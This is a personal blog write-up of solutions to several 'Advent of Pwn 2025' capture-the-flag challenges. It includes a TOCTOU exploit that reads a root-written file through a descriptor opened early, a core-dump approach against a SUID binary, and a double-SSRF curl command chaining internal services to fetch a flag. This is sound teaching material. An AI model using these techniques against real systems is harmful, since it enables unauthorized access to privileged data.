- Published on
Advent of Pwn 2025
- Authors

- Name
- kerszi
Introduction
Between December 1st and 12th, 2025, a very interesting competition took place - Advent PWN, which is available here. The tasks were quite difficult, they weren't exactly easy, maybe except for the first one. Unfortunately, I only solved 5 out of 12 tasks. I also tried to solve Day 06 (Mining - miners) and day 10 (sending something, not sure through what). I failed at those, but I'm very curious about the solutions. Unfortunately, we have to wait until December 15th. You can download all from here

Day 01
The first task, which I thought would take just a few minutes, turned out not to be so simple. Although it was doable, you just had to analyze the input data and process it accordingly.
Description
Every year, Santa maintains the legendary Naughty-or-Nice list, and despite the rumors, there’s no magic behind it at all—it’s pure, meticulous byte-level bookkeeping. Your job is to apply every tiny change exactly and confirm the final list matches perfectly—check it once, check it twice, because Santa does not tolerate even a single incorrect byte. At the North Pole, it’s all just static analysis anyway: even a simple objdump | grep naughty goes a long way.
Summary
This challenge uses a classic byte-wise mixer pattern:
- The program reads 1024 bytes into a stack buffer (
rbp-0x400). - Thousands of
add/subinstructions modify individual bytes of that buffer. - At the end, the program performs many checks of the form:
cmp BYTE PTR [rbp-offset], CONST
- If all comparisons pass, the program prints the flag.
There are no cross-byte dependencies: every byte is transformed independently modulo 256.
Key Idea
For each byte i in the input buffer:
final[i] = (input[i] + delta[i]) mod 256
Where:
input[i]– original input bytedelta[i]– sum of alladd/suboperations applied to that bytefinal[i]– value compared against a constant incmp
So we simply invert it:
input[i] = (CONST[i] - delta[i]) mod 256
Step 01 – Extract CONST bytes from the binary
We extract only the constants used in cmp BYTE PTR [rbp-...] and store them directly as raw bytes.
Script / pipeline (01)
objdump -d -M intel ./check-list | grep "cmp BYTE PTR \[rbp-" | grep -oP '[0-9a-fA-F]{1,2}$' | awk '{ if (length($0)==1) $0="0"$0; print }' | tr -d '\n' | xxd -r -p > const.bin
Result:
const.bincontains the target final values for each checked byte, in order.
Step 02 – Dump buffer after transformations (delta)
We now run the binary with 1024 zero bytes as input. Because the input is all zeros, the buffer after all transformations contains exactly the accumulated deltas.
GDB commands (02)
b *0xaa0b5d # first cmp instruction
run < <(printf '\x00%.0s' {1..1024})
dump binary memory dump.bin $rbp-0x400 $rbp
Result:
dump.bin[i] == delta[i]
Step 03 – Compute the correct input
Now we subtract the deltas from the constants modulo 256.
Script (03)
const = open("const.bin", "rb").read()
dump = open("dump.bin", "rb").read()
out = bytearray()
for i in range(len(const)):
C = const[i]
D = dump[i] # delta[i]
out.append((C - D) & 0xff)
with open("input_final.bin", "wb") as f:
f.write(out)
Result:
input_final.bin– the exact input required to pass all checks.
Final Step – Get the flag
./check-list < input_final.bin
Output:
✨ Correct: you checked it twice, and it shows!
Conclusion
This challenge is a textbook byte-wise mixer:
- Large number of instructions does not imply complexity
- Zero-input + memory dump cleanly reveals all deltas
- One modular subtraction per byte fully solves the problem
This technique scales to arbitrarily large mixers and avoids manual reverse engineering of thousands of instructions.
Day 02
Description
CLAUS(7) Linux Programmer's Manual CLAUS(7)
NAME
claus - unstoppable holiday daemon
DESCRIPTION
Executes once per annum.
Blocks SIGTSTP to ensure uninterrupted delivery.
May dump coal if forced to quit (see BUGS).
BUGS
Under some configurations, quitting may result in coal being dumped into
your stocking.
SEE ALSO
nice(1), core(5), elf(5), pty(7), signal(7)
Linux Dec 2025 CLAUS(7)
You really should start here if you're new to the dojo or could use a refresher.
Introduction
In the CLAUS challenge from pwn.college, the key idea is understanding the difference between:
- Start (normal mode) – where you obtain the real flag.
- Privileged mode – where you have full root access,
/flagis fake, but the program’s behavior is identical.
Privileged mode is meant purely for debugging SUID binaries.
Program behavior
- Program starts as SUID root.
- If
ruid != 0, it performs:→ second execution is a "clean root" without AT_SECURE.setreuid(0, -1); execve("/proc/self/exe", argv, envp); - The flag is read into global buffer
gift[256]. wrap()overwrites the flag.- Sending SIGQUIT (
Ctrl+\) generates a core dump namedcoal.
Normally, coal contains the intact flag inside the gift buffer.
Why normal mode prevents exploitation
In Start mode:
coalis0600 root,- your FD tricks don't work because the kernel performs unlink+create,
- LD_PRELOAD is stripped due to secure exec,
- ptrace and
/proc/pid/memare blocked.
Thus, you cannot extract the flag directly.
Why Privileged Mode is essential here
In Privileged mode:
- The binary behaves identically.
- You can inspect:
- the memory layout,
- the
giftbuffer, - the contents of the
coalcore file.
You learn exactly when the flag exists and where in the core file it resides.
This knowledge is then used to complete the challenge in normal mode.
Intended solution flow
- Launch CLAUS in Privileged mode.
Use gdb and core dumps to analyze the binary. - Launch it again in normal mode.
- Press
Ctrl+\at the correct moment. /challenge/solveasks for the secret.- Provide the correct value based on your Privileged-mode analysis.
Day 03
Description
During the annual holiday deployment cycle, the stuff-stocking service incorrectly delivered a user’s gift into a stocking owned by root. This occurs as soon as the “children sleeping nicely” signal fires, which triggers Santa’s stocking-fill workflow (SLEIGH-RFC-1225). ...
Introduction
This challenge relied on a classic TOCTOU bug (Time Of Check -- Time Of Use) inside the stuff-stocking script.
The script, executed as root, performed the following steps:
Read the flag from
/flagand removed the file.\Created an empty
/stockingviatouch /stocking.
With default permissions (0644), the file was readable by an unprivileged user.\Waited for a "nicely sleeping" process inside the loop:
until sleeping_nice; do sleep 0.1 doneAfter the condition was met, it executed:
chmod 400 /stocking printf "%s" "$GIFT" > /stockingwhich locked down the file and then wrote the flag into it.
The key observation:
Changing permissions (chmod 400) does NOT revoke access from already-open file descriptors.
Therefore, the solution was:
Terminal 1
exec 3</stocking
while true; do
cat <&3 2>/dev/null
done
The file descriptor was opened while the file was still world-readable.
Terminal 2
nice -n 5 sleep 1000 &
The script continued, wrote the flag to /stocking, and the loop in Terminal 1 printed it through the previously opened descriptor.
This is a clean, classic TOCTOU exploit: open the file before permissions tighten, then read privileged data later through the already-open handle.
Day 04
Description
Every Christmas Eve, Santa’s reindeer take to the skies—but not through holiday magic. Their whole flight control stack runs on pure eBPF, uplinked straight into the North Pole, a massive kprobe the reindeer feed telemetry into mid-flight. The ever-vigilant eBPF verifier rejects anything even slightly questionable, which is why the elves spend most of December hunched over terminals, running llvm-objdump on sleigh binaries and praying nothing in the control path gets inlined into oblivion again. It’s all very festive, in a high-performance-kernel-engineering sort of way. Ho ho .ko!
If you connect with ssh, please run tmux to make sure you actually have an allocated tty!
Challenge overview
In /challenge we have:
northpole– SUID root binarytracker.bpf.o– eBPF objectnorthpole.c– source code.init/init-northpole.sh– helper script to startnorthpolein the background
The flag is not printed by default. Instead, an eBPF program attached to __x64_sys_linkat monitors specific linkat calls and only then signals northpole to broadcast the flag.
BPF analysis with llvm-objdump
First, we inspect the BPF object:
cd /challenge
llvm-objdump -d -S tracker.bpf.o
llvm-objdump -t tracker.bpf.o
llvm-objdump -h tracker.bpf.o
From the symbol table we learn:
- function:
handle_do_linkatin sectionkprobe/__x64_sys_linkat - maps:
progressandsuccess
Disassembly of kprobe/__x64_sys_linkat shows that handle_do_linkat:
Extracts two user pointers from a struct (arguments of
linkat).Copies them into stack buffers (via helper call
0x72→bpf_probe_read_user_str).Validates:
- the first string must be
"sleigh"(length 7, bytes73 6c 65 69 67 68), - the second string must match one of the reindeer names, depending on current state:
dasher → 64 61 73 68 65 72 dancer → 64 61 6e 63 65 72 prancer → 70 72 61 6e 63 65 72 vixen → 76 69 78 65 6e comet → 63 6f 6d 65 74 cupid → 63 75 70 69 64 donner → 64 6f 6e 6e 65 72 blitzen → 62 6c 69 74 7a 65 6e- the first string must be
progressis stored in a BPF map under key0:- call
0x1isbpf_map_lookup_elem(progress, &key)and loadsr7(current state), - call
0x2isbpf_map_update_elem(...)and updatesprogressand latersuccess.
- call
The resulting state machine is:
progress = 0 initially
"sleigh" + "dasher" → progress = 1
"sleigh" + "dancer" → progress = 2 (only if it was 1)
"sleigh" + "prancer" → progress = 3
"sleigh" + "vixen" → progress = 4
"sleigh" + "comet" → progress = 5
"sleigh" + "cupid" → progress = 6
"sleigh" + "donner" → progress = 7
"sleigh" + "blitzen" → progress = 8 and success = 1
anything else / wrong order → progress = 0
Important detail: the program is attached as a kprobe at entry of __x64_sys_linkat, so it sees the syscall arguments even if ln fails with ENOENT. The file sleigh does not need to exist on disk.
What northpole does
Looking at northpole.c, the userspace binary:
- loads
tracker.bpf.o, - finds
handle_do_linkatand attaches it as a kprobe to__x64_sys_linkat, - locates the
successmap, - loops, reading
success[0]:- when the value becomes non-zero, calls
broadcast_cheer(), broadcast_cheer()clears all/dev/pts/*and prints a big banner with the flag,- then everything is cleaned up and the program exits.
- when the value becomes non-zero, calls
Since broadcast_cheer() writes to TTY (/dev/pts), we must have a proper terminal (with a valid pseudo-tty). That’s why using tmux is effectively required to reliably see the output.
The tmux requirement
If you trigger the full correct sequence and see nothing, the usual reason is:
northpoleis broadcasting to/dev/ptsdevices in its namespace,- your session doesn’t have/own the expected TTY.
Hence the hint from the description: if you SSH in, start tmux first and work inside it – that way northpole’s broadcast will land exactly on your pane.
Useful tmux keybinds (default prefix: Ctrl+b):
- split vertical:
Ctrl+bthen% - split horizontal:
Ctrl+bthen" - new window:
Ctrl+bthenc
Solution – step by step
After logging into the challenge environment, start tmux:
tmuxIn one tmux pane (e.g. panel #0), start
northpole(or the init script):cd /challenge ./northpoleLeave it running – it’s polling the
successmap in the background.In another tmux panel (Ctrl+b
", Ctrl+b%), in the same container, issue the sequence oflinkatcalls vialn:cd /challenge ln sleigh dasher 2>/dev/null || true ln sleigh dancer 2>/dev/null || true ln sleigh prancer 2>/dev/null || true ln sleigh vixen 2>/dev/null || true ln sleigh comet 2>/dev/null || true ln sleigh cupid 2>/dev/null || true ln sleigh donner 2>/dev/null || true ln sleigh blitzen 2>/dev/null || trueAll commands can print
No such file or directory: 'sleigh'– that is fine.
The BPF code hooks__x64_sys_linkatat entry, so it cares only about the argument strings, not about whether VFS actually finds the file.After the final
ln sleigh blitzen:- the state machine sets
progress = 8andsuccess = 1, northpoledetectssuccess != 0,broadcast_cheer()is invoked, clearing the tmux TTY and printing the flag banner,- the process exits (which looks like it “crashed”, but it’s actually done).
- the state machine sets
Day 07
Description
Wow, Zardus thinks he’s Santa 🎅, offering a cheerful Naughty-or-Nice checker on http://localhost/ — but in typical holiday overkill, it has been served as a full festive turducken: a bright, welcoming outer roast 🦃, a warm, well-seasoned middle stuffing 🦆, and a rich, indulgent core that ties the whole dish together 🐔. It all looks merry enough at first glance, yet the whole thing feels suspiciously overstuffed 🎁. Carve into this holiday creation and see what surprises have been tucked away at the center.
Challenge overview
The challenge runs a Python script turkey.py that secretly builds a multi‑namespace network setup and hides a Ruby web app (Puma) behind two layers of internal services and iptables rules. The goal is to reach /flag on the Puma app, which only returns the flag when called with the correct query parameter xmas.
Payload Decoding and Network Setup
Embedded payload in
turkey.py- A Base64 string is decoded and each byte is transformed with
(byte - 2) % 256. - The result is a shell script (first payload) that is executed by
turkey.py.
- A Base64 string is decoded and each byte is transformed with
First payload –
middlewarenamespace + Node SSRF- Creates a network namespace
middleware. - Sets up a veth pair between the host namespace and
middleware:- Host side:
veth-hostwith IP72.79.72.1/24. - Middleware side:
veth-middlewarewith IP72.79.72.79/24.
- Host side:
- Adds iptables rules on the host:
- Traffic going out via
veth-hostis only allowed for UIDroot:iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPTiptables -A OUTPUT -o veth-host -j REJECT
- Traffic going out via
- Starts a Node.js process (disguised as
/usr/bin/cobol) insidemiddleware.- This Node server exposes:
/– info page./fetch?url=...– SSRF endpoint: fetches the given URL and returns the body.
- This Node server exposes:
- The Node code decodes a second payload (another Base64 blob processed with
(byte - 2) % 256) and executes it as a second shell script.
- Creates a network namespace
Second payload –
backendnamespace + Puma- Inside the
middlewarenamespace, it creates another network namespacebackend. - Sets up a second veth pair:
- Middleware side:
veth-hostwith IP88.77.65.1/24. - Backend side:
veth-backendwith IP88.77.65.83/24.
- Middleware side:
- Adds similar iptables rules so only
rootinmiddlewarecan talk tobackend. - Starts a Ruby/Puma app inside
backendthat listens ontcp://88.77.65.83:80:GET /– returns a harmless message.GET /flag– ifparams['xmas'] == 'hohoho-i-want-the-flag', it returns the contents of/flag, otherwise returns an error message.
- Inside the
Because of the iptables rules and namespaces, the hacker user in the main shell cannot directly reach 72.79.72.79 or 88.77.65.83, nor can they enter the namespaces with ip netns exec or nsenter.
Flask Frontend and SSRF Chain
The Python turkey.py script also runs a Flask web app in the host namespace. The relevant endpoint looks like this (simplified):
hacker_image_url = request.form.get('hacker_image', '')
if hacker_image_url:
response = requests.get(hacker_image_url)
image_content = response.content
encoded_image = base64.b64encode(image_content).decode('utf-8')
# embedded into: <img src="data:image/png;base64,{encoded_image}">
- The
/checkendpoint:- Accepts a POST parameter
hacker_image. - As root, performs
requests.get(hacker_image_url). - Embeds the fetched response body into an
<img src="data:image/png;base64,...">in the HTML output.
- Accepts a POST parameter
This gives us a root‑privileged SSRF from the host namespace.
We chain it with the Node SSRF:
- Flask (host, root) →
requests.get("http://72.79.72.79/fetch?url=...") - Node (middleware, root) →
fetch("http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag") - Puma (backend) → returns
/flag. - Node returns the body to Flask, Flask base64‑encodes it into the
<img src="data:image/png;base64,...">.
Final Exploit
We send a POST request to the Flask /check endpoint, using hacker_image to trigger the double‑SSRF, and then extract and decode the base64 data URL:
curl -s -X POST 'http://127.0.0.1/check' --data-urlencode 'hacker_name=test' --data-urlencode 'hacker_image=http://72.79.72.79/fetch?url=http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag' | sed -n 's/.*src="data:image\/png;base64,\([^"]*\)".*//p' | base64 -d
- The
curlcall triggers the SSRF chain. - The
sedcommand extracts the base64 blob from the<img src="data:image/png;base64,...">. base64 -ddecodes it and prints the flag.
That final command reveals the flag from the hidden Puma /flag endpoint, despite all the namespace and iptables isolation.
Summary
And that's all I managed to do. ChatGPT helped me a bit, but often got things mixed up. I can't wait to see the solutions for the other days. I'll probably try them too, maybe with some small "hints". I can't wait for next Advent. Good job and thanx!
